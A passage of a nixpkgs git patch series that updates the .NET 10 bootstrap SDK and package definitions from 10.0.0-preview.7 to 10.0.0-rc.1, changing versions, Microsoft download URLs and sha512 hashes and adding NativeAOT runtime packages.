-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-4kBn/dR8b/jTCNNnNwK6FD/a3VC0pRca8qq36AYz7uGeZqC2lAvqSq6Yik05EVWjW6eOV3YM3d2lr169M1s9EA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-XOjEkl0dL3D2/NbRpP0AH6wFowKWElGaHpbNeE1WmkgT6PHIWlE463WiLdPE7C2acEZciQQqaFdqeWWZbl7agw==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.7.25380.108";
+    version = "10.0.100-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-knm/wwbPU/3AJnPGjrwGgYsm+wXukE/zFej/UoqNWLU0KoZkIjOkpnIi9Qe2ARC4IYSSx7l5cb7nj7EKFfiu6A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-SnuClIY0v0mB5HspK/xPlAeSWTbqc2QgpRrM8OzQXG4aqhx/+UDvV1CxHNe5AkkLii9NpzDtcphGJwdR860LVg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-qBiJz0LOz2FqdoXKsXUIaUzug+dqlhnGTomvr/TTgmaOpMft/etEU6DBPfzurIZuo9D+BfPfEkY4pMpYtP2nJQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-calHXMECIFjzOR7vhQtRhEDS4TTeY7HLi+BIqw3NwTOSiMVlboBrEJemA/0cJl1OZ3NZCCYRRiSC7kAvr/rD0g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-KNA8LaQR6BYb+jcUjzX/Yi6qI0GtzXKae1I/dKoh6Pf2UBnaENKG1nhY0Z/2AII4C4dDbfm8zicUe0/bIShvsg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-x64.tar.gz";
+        hash = "sha512-uzS5PVriMQHmd0gA1hJDwjatAfJ7IqFnDZh8EGjOB1YBtN/VITIKclplS2Vf/ZEoeLL8hDYXoLOMWmHzCkzSnw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-D65/QdZ5g5I0GWMqoc+JW9K+0oaBLcysWLUkrgxrgBuxhVUJ1t9L+EfkxAx5ll31z2BrwH8iV49JzAo+/1dEjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-YdcnEuKVJQ89I0OvqXvnwnK34pIn3Prb0G2aR+wrhxWNOi7B9VnpiZekz3mlQQuFAhpmkKi941BnKEkmsjQusA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-zIjcxU2QbdIS9MOD3gfTSUfMS2RZJAtfwTqei25dfUgrymc1cXixQZUFfviDx+YOT/2ArvSEyYqXOYf+SZPBow==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-/1HV6qNuFkmAr0f5nuX2CbGf188Mr34WfUDG8wMkByshdhUo8mbGuSHAfn+sIkBwHn0bmvirVIvNBdNyCKpVlQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-hcpucoRlWBlxrzWL7dJkDADJ11xJysH6mz3plrQKE+lfNbdXPe+u/r38Z0xHjotXn4GhAwvj8WC2cgsx/f1ooQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-zH65o01c6pdXkRWRpFX/IJDTIcP/XioWyBGe3+0Tzn7/H/9AgTTYtaYr/7sbiH6mzLYKdJd6XOd6KZc18J4Ciw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-eI/e7V31AEm8/hNwBZzfp0M5CkLZv1LHRVY+qsRL9UqVSqyjVjZLq2tbEIsbbZ4NbPJ8JT0uYrBkQARmn4GXxw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-Q8Uy7gqgPwJF7wVXh4nASCLqacOOhS9XuwobSzR1D20PjHeghcTrDWEwGPg2dK+5CW6Z/OZoqHYwmKvoIbm34A==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-/Dk0clsJJHMl7hDlaBlhZyKmMPSBS7k8Q7YLLtvTLuI83esARdZACAi4QNBQ7Q3Etbz5WpDeG5MpNrYjVuHqVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-k3DDv4JJjXPBc4FCN+zhCMIHWOhCk+dlMoN9h3vn6+mqinL/7os3G7wKzqokEQ03eHFTIneKQhWb0ykQ2p8HaA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 279610c7f74d74e77540be02a99e29d63a905b71 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 18:15:48 +0000
Subject: [PATCH 4503/4511] dotnetCorePackages.dotnet_10.vmr: 10.0.0-preview.7
 -> 10.0.0-rc.1

(cherry picked from commit ee87b4597a37fd3270d7285084abd2547fc47410)
---
 .../compilers/dotnet/10/bootstrap-sdk.nix     | 433 ++++++++++--------
 .../development/compilers/dotnet/10/deps.json |  48 +-
 .../compilers/dotnet/10/release-info.json     |   6 +-
 .../compilers/dotnet/10/release.json          |  14 +-
 ...x-missing-libunwind-symbols-on-linux.patch |  42 --
 pkgs/development/compilers/dotnet/vmr.nix     |   5 +-
 6 files changed, 281 insertions(+), 267 deletions(-)
 delete mode 100644 pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch

diff --git a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
index 2c89bde437d9..22086441392e 100644
--- a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
@@ -5,34 +5,34 @@
   fetchNupkg,
 }:
 
-# v10.0 (preview)
+# v10.0 (go-live)
 
 let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-ZedqhbGvDx8Ajn1N9SRKq4q/m7rIQdPmcvQS7WOaijpqqjNa4P4zTd1kx+/kb6a5FJ6thD6yt/hEADTGpUpflg==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-0wQQq3RPKM6EU5FXQT7bMvbPsKE+6UGlfP5FHQh/91fb09/lhVlFCO9oMUOkX8/ntQN4w+eqnrB2tPCHXu++iA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-OcQqR5UG3AFa0aQNIRTB3acRpQ+OhuF8ZpLIQM3xp+egvzzKRP20jja/gWhngIVtEA012XxLiNxJrHhzWhtLhQ==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-hMhKJaqLUWSaHBcNP/OLQ9RFIppWqztgWh1Mi28aCj6a1+aTfjLNc9NmAsGC27SeqIylMYC9zoKTp6BMPdF/fA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-1UT2fr9kFvdpRb3+h3dTmGTnhKTvGKpYFRQuZUD8ukmaQ9ABhnXp35E8GJoA6d6pOERiRnhimzrVg/X3B4znUA==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-j/HfJgOT/5dMNPQsEQvilDp5LyTRa5SIVHZ5dYsckLrnlff5KHot4lYoyPvQNfFzag1hxsgMUtOfbslDFHUEGQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-Eekoq6ATo+jeIsK0GafnGK8XkdjKtdOVT7deD1TWo04/nt0KV7nOmBUOhwUKY1sBsjvTQvOoDthn505f74N3Vg==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-0x4km79b8z+HFPd1qXOhx65BGDLRYECLKbjyzhrFaOx69zBNQHbL7nqTS+qXZ0BzckdGEBARrYa80QinpIIF6A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-pX4P7NG1jHIRJrbHrVP/MvDyA89o7HeuKucToiIH6flQ5ixTntZJupIW5qg2wsScJOltfP3A7j/w6MTRA9dHOQ==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-XisyrroZsOir2prziGawVqx8sVAFvyamu5W5ordZYYuHIr/yeLlC6xDCgZ1CMhHE00ElUyc34ChHl6gUgQdCeg==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ekrR6F7cC48jWc0+Fyv3emOc5bkuv+yvKg2ZDjuv9gRf6e8zWGG6PkXKkPuo8sxHacPucgc1bIibVgVGJi20VA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-OaAv+l8BEw6MTrpB8e/j3QBGRR5IUr9pX5cjP5e0ooc71fl2JYVmcSgiY+D3diEHhkCMf5T9A+esQxctbZ1CIg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-QUg7nZopW/0+Lnk4VeNHF3Ov3I6IuqsDSbvkeEDWjWyNXyOnJzDErKN3d5p6jWdmc3jjndyOw1137vaOKV5apA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-gh184Rc4Jappn49zJ8Buwv1IQYjnTsS5Y2NRM9Un9m9lazL4vGTrnn3JArCJhq30K9Fhs1CkOZdbqGT3RFNYcw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-k9W3fq0DjcbjxuveOQd1ou8fsHhNH/zHayPE9b1VRj2CijLx8krGGKkP3gUR7jLbOE+o9/Xln7cEsWzRBb9tdg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-qkVVYbGTFTdyrLjPTbzglGNdkL6R3z/DBs+rxcM/T7AVwP3Tz8WKkoFRZaRNclrwR2ZuEEACBvMULpTAF6HJqg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+zsgGnlZS6MdL/uyvAQAN0KAc8Vk1qT8ylHCi+iwUXqwslSGtZQku+qGvkd7hjMMnEbnSa5j7xJY4PNGDbco4Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-P0WUXdJK1STziFoDpTuMqPy8uU6ZyVaRe2zkoOZsQZi61wKjT2SDMvF9hn6qWlcOI9eUS9sriqRsErrdjiICAg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+LG/u+Jp6b3Oyud1QYP3nph1uqtx4rhPbeH65leIMSFQg6bB8Jd9g4hNwESllHd6iKpKP7Sp17VxLKynzxwHDw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-6z1jv0LvBwHU+vshvjc/PHb0f5QtKpTukl5QajjcwzP6sJ4tBKJejbNNYuFhUECsetMbtszBHhTuqSC/wTY71A==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-BE7hZwP4oZ5Xacmhjwc3Ciy0KJKOXwg9NJiBVzFv7xEJ7IqVceP7kAdMPsMNoojwz2KNs9gJdCOGOLtwyeTZyw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-EmYPxjHZfLErsOcJlqBwI/zk74tHsT46ItDhn+a8OzBWJkFBrjpbgjHwyx9kEYK+jrXZv+o2WpWVVtmBD/+zyA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-oskWoBpDhGI4WBOJPFTBIirjUdSs7hvHKGuz8OQmrByyv8C3rY9jtt+sM45uqINoGNyYsgbUQkQlKFhIB+mT+Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-6W1aeaZGo6oQGRAN016jgsLev1RKqktn8w5+omWLgq5L8Rq1SCMp1qrutiJmMyKHS++9c+s34ze5uF8iz3jnUA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+/apDtwjBvmEn40DJ4yPOYqCsgIfhrD/zPYY15A6ny5kN1n6uV8LgUce9vv2HatRsD4uOuepD2z22/TbB8GjLA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-pZ/VK7ghPyIZGg0GOJpc8PWuv1PZe30t49tkBpT7ge7w2CAs+JYHwLL1QpkRVuhlokL12ReASj06DNy6rAMV5g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+uZHCjs+FlbFU2StjeANC3vvYjWd+6PlhIX0F8sHS60u3U9/HEi4JECQ0vhak5ODJCi+wktEKZQ53DwGAvPbJQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-k43sAfvYJ8+dupxMpwBAuY8g8Zyqt6yvaZfguWfZDe0o7njGlVXhllq3IL+v9WGMjGf4Cg1WEXNDuldn9yVzhQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-mtm6VWoDGYg7qlqF6sFlf8LBEbGOL6ZCSoqzZ7hmDBy9UIe0AswL0d+AhsDOE5ewHifbK+vGqXeK83ZdL/1IRA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Ikd+sEhKE0Tgl5jrGGQgKvVuk+/e3WmXZcUwheBmQqpggs7YMMD9k/BMxE5ro5G9ENEmP8hfJ9suJxG2OupDPA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-/X/ugPn9DMhWz26lDvuSlBqX/s56B7Sl/Qkd2/Jy5iYw64+9tOFo0Xh4kz0fF5nOj1H9RbKxIaNfPVc41rxvIQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-FxbAID6dZL0aaKDFr0usSHWC7JZ0ZqZVMIP20rWZJ2Qsvg9C++yoMoRxvfj/WD6ZIbSaU0sg5HxS2OxR1N37Kw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-/SiUD5N7pwkJ4mK83CBkre6oOB76BTJ7lJUTDDw3t8F6HUJS+3i6Cx9sODd7BS7TXXA5ahql2gcfohVsaFsR9Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-1PC+i3R6fAauQoxegCNPHaHx4hwkkHv6v2+OotoAGUf1Dz4YyED/Ho10HW+fCHklBmHkcg6CMMC3IzuPIo7IXw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-WKqXIohGOzMUpDOsAEpknxj93fSuTzSdP7X/Ud19dggmqwPKMIWN5NZpWlBLdyP8+NMwLyNM/aR4uCtNf7MT2A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-s6K4cCACFPHmvJddqn9zVrz1za9CjyOMNgsZA4Oi2ItTgsCB/pQzr6IpCUzZKrMWiojxHCSx/uch7V5kWE+GVA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-GQokK1ugeF0JQi0IfkyNDm5nIVCKpH6V8zSskBRSAH8O5U4iVImpDkqBg1icxUFIAaVyiMi6GJB0CkTD2cC+yQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-SawdfjnEJnfC/W9ptl89rS83enNKCyoDN2x459bx7I90U6AfGumGd2r+phGBGyHRhhiLHt7+z+3mzs2uuId6Rg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-X15A3yBhigC8T81Ut1Zqqay9HzfCjjwLh1QDbHL2XggIWiGzkDf4hSX7qnkbki12DdFZP5p0xDFiYsnEBTGNgg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-rHnlR/R0UqASrXuSQD2rJoN4iOrJcexSHmk9nPfCDIgNYSd8c/8JE17SGU7Y6ufR0JuiP1f09KV2jibaKutHEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-vNMheP+ysMxIiINElw4ebu7O8KHDz+l2dYTlP9zfBllo7eJW3XX0k7kOP0nYke78KFhheXu2JUHAAEZVhazOUA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-CrFnRAHFOQUFaU3Q2XlJeWN9pKUX1YVZDTHpZ/e0+t1ZfCuu28CRmCdaB7OoWcwRRA3z8CqniK/sUpg+VmJhfw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-478qsicUIxQcpq/UGGoNNLRbUldl34RRZqxDdRl1HqC2D4aUdCpR3MEU5vd0zcbHxkegfPfgQgsv6xfIt+k/Ww==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-mnfrlJ2jELYNVRZEXsgJdseeiEIkjIME6I/GFO8jUaXW1v1ydYSs+AycagoNqNb4Ac231DLnLu8LU15M2YJljA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-fDGfrQnqXasfMLIUs2xVvLNxWjN0w7HypZ22wYG0y8PkN8u3vpVIQz9tYgUgEXvxKpFLYq1L2EcxksY6reAWug==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ELGeVjCCBpYHZFl0wYqztcb53M8fHcuhX8g5Hp6ycUlc9sD6Zg7lXOh3fXSHOf73wEG9125DvC9U0eMnnugV7w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-WE52ljXg7k8/ry1wBJ7lqrKniEZgwpMtuf7m82tMtuc30k5X+1nAbOa2evezPgjsXrB3k78uertzT+GoSRX/fQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-DQ4H2zfLSkyh8LyfdUUhgaWIZWBsuK++gE0++1KVgm6MceKAuoShj2vJ7bdGSaSJIrlg2Mcc/USgNpdRcXt4vQ==";
       })
     ];
   };
@@ -160,361 +160,416 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-TY4LXwPBf9d0vOpzCkV8Ze9e/Tnn4V07FkSctLB6Vc6XreNkVqEQcB1TuUQZOFc7pXBvpImRAD5mAfuLVNohDA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-V76NEL8Pf7FMvaglUhYTWvmbQlQHF4MKTWXU5z6l/63E/NE/GijuXi9+otgGmlfxBKCsdbCm6+JoMx3H1YQy5Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-UBWg0zDyYiiy3wXtxmRqaoAvi2hpXGGJ4VxoKcqgD927ftcYXz80g5dFDtk8zof3CVnfXHgaDCm40jxOrYU3qw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-HVKJb0V/eNXtq5wqhN/cSYcTWpTVtGQCg1ZhfVdAftkscOYkSv+IoDWMptmoMnmW91jTpe62+KkqoymNRQ8uqQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ZHAexbNsU0DMvR9vVqYldw9m+wyqLM5AVZyx6E6Lgk5JzjgDI9rFfDI2h+UGi1WOJyKPDKrjyLWG5phtGC6ytg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-XooWEHZOLNd9G9+/Vh6zb7dP+FiW5l5DhLeWLreThBr6PVvojYf8fSB/J7gqk59x+mjgp+7JyLWDRBljiUbM6Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-HmKdrzhgbW4ikm6lKWgaBm5OokH7aPyGuaniMHvRKnHSeUxDYMj2PU/ZSIlIxTntxELeTBd+ZcJlknJqR7Duuw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z3tvIyDNhcR0Io5A/SxfhegCxX7wZwja9v9o/PJbwFgAJKby3YLv4Z0bFVt6h7UgtcMZQqzHFOn/pwsTEub0Zw==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-MR2RtWm4VBoGST8XUmdEIQrLVktNkp92pblT1NSd5M09v3pU7eNeKwt/BvO/BE+UVrsLbHXrXAJ+rP3Ycw7qqw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-bPfmwsqmA39Vfa+Uu9mH1eaCJZo/qd+/O0aOYRhjSrypYBQK2AIif8lq7zYxhOR2U5AhvkkeqLNnaEC3spTHiA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-/za89BIwa39QXQOKX9S91MAJqnO9Xuc3s+LTiTK2/rwNYJy2TwB+wB8RKqjGg/Z8nejgHrjC4+7V4krvVBf5Rg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-OSpFCcAHBwfDK4bY6zNDfbtY+fKY6koEgvfVyk6OtdUI+dOM/Jjw9Kyxiqe1S8JC5dm3366+AFdqF2ZWbMW4fw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-a5mSgakxI87jUB3EhXje0LbbU+RpYFq+kI169o7dLH4jg2nDE173cvh19psJrM08ktwOYClGyvIAuvmeEwX1RA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-gFoRuWxJUSjqz8meGfPQhK/xI8LXK0/z2mOiVWfwFBO1lMuPUWFrzlUvoPBHhZSYj7578iHtUog8r/tnnK6+Bw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-zR78sN00inx8O5CyDdDcwuvwUApTZlYSmA5t+wd9mzzKVIGbZ4Cz9vEcpN8aHUN1XDEBATbx5wSkjB5GepfNVQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-BLvup3LOAkOw5G/xJ0j9pcTNNQuPLibW0u5bTVAmMYYZny8b39xNWWVqNQ8Rl5jewPko/8luoany0SbHZ+GUpQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-BJURYGy/fPMPR2V2ba/rtHCTpUfJzioEYLZcckSUj3+wYsrMyy55sF0nI9Ds2p8Fg/EalCFXoHYP8/2euX5Vlw==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-oM+nJTEa7d9PHjAMuUCvKDtqqPPrFXJpoMacVPgYw3pAOsSp/g9mrULkD/h5paeL5v7cAsSf6bvHZEUkoWwbIQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-2NeuUX5T7ZRuc76byZXf7cLXYTK5fGufEbrjEXRlBMXyI+vQ8x+6BR+hbqef9JGylT8pcLv+xL11Gx39vk2KmQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-znRScAxeGIwwg6vKV2ADd2EDvfQLIubASsgoVLLVAOIW+W2LGF2Ia3uxgozn0b9wf2fV29w0S5DaeY97xl8DXg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-iZO21GJ4K+PjcH9Gn/OUVQrBkkfCVCifO+PsQItVuWuenEOwAShzCfz8E5icd/INLIosoriCyRV777jpjxHZXg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-xA5c2BK8D2p5xsJXvlIutBAjVBUWUVM1f85doMoIgzPwUaceyl6eFsEQ2zjDh1HCgtdkGFeJpGQ4aDzpKlpa3Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-SAKw8xQa/VBWOumG7JmId0UIKUs2RM8tnl3KPXJ85mjnrrP3wJLWynNf6v/hMxdxqjAOIb2Y6AIGwK4zFzA97g==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-K9FqPXfxZLiWkreTc8hXclaxo9mQ4EkHeAihT4NARE9O9lkVOZTBEZo+BcZuZxLZgO3Pj6GtBncMvTBKn6r/Hg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-PTVNAmlIQRHnMCcw8Pm5+t8eLLtwyZ1J6lUjTcZ68dU9FGXIySRr750lekvMpBugMjmXIsNw0VQvg9AnL5SIDQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-a6OPa8GApjr1CuaIREog/GL9pzxHiorvCP/YaYZtW0yNtRSv06cbdwEB+FYxc6tDSMIClzrUwshyR/hV5nSd0Q==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-x64";
+        version = "10.0.0-rc.1.25451.107";
